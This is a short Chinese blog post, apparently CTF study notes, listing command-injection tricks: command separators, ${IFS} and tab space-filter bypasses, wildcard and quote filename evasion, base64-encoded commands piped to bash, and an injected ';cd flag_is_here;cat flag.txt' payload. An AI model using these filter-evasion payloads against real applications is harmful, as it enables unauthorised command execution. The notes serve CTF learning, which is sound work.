远程命令执行

RCE

Posted by Kyon-H on August 12, 2024

1. RCE 漏洞利用

1.1. 命令连接符

  • ;
  • |、||
  • &、%26、&&、%26%26
  • %0a

1.2. 空格过滤绕过

  • ${IFS}、$IFS、$IFS$9
  • < 、>、<>
  • %09:相当于 Tab
  • {,}:{cat,flag.php}

1.3. 文件名过滤绕过

  • ??:cat flag??
  • *:cat flag.*
  • 单引号、双引号:cat fl""ag.p'h'p
  • \:cat fl\ag.p\hp

1.4. base64 编码绕过

1
2
3
4
# cat flag.php ==base64==> Y2F0IGZsYWcucGhw
echo Y2F0IGZsYWcucGhw | base64 -d | bash
$(echo Y2F0IGZsYWcucGhw | base64 -d)
`echo Y2F0IGZsYWcucGhw | base64 -d`

1.5. cat 命令过滤绕过

  • tac
  • head、tail
  • more、less

1.6. 目录分隔符过滤绕过

flag 在上级目录情况

多个命令执行:先 cd 到上级目录再 cat 内容

1
;cd flag_is_here;cat flag.txt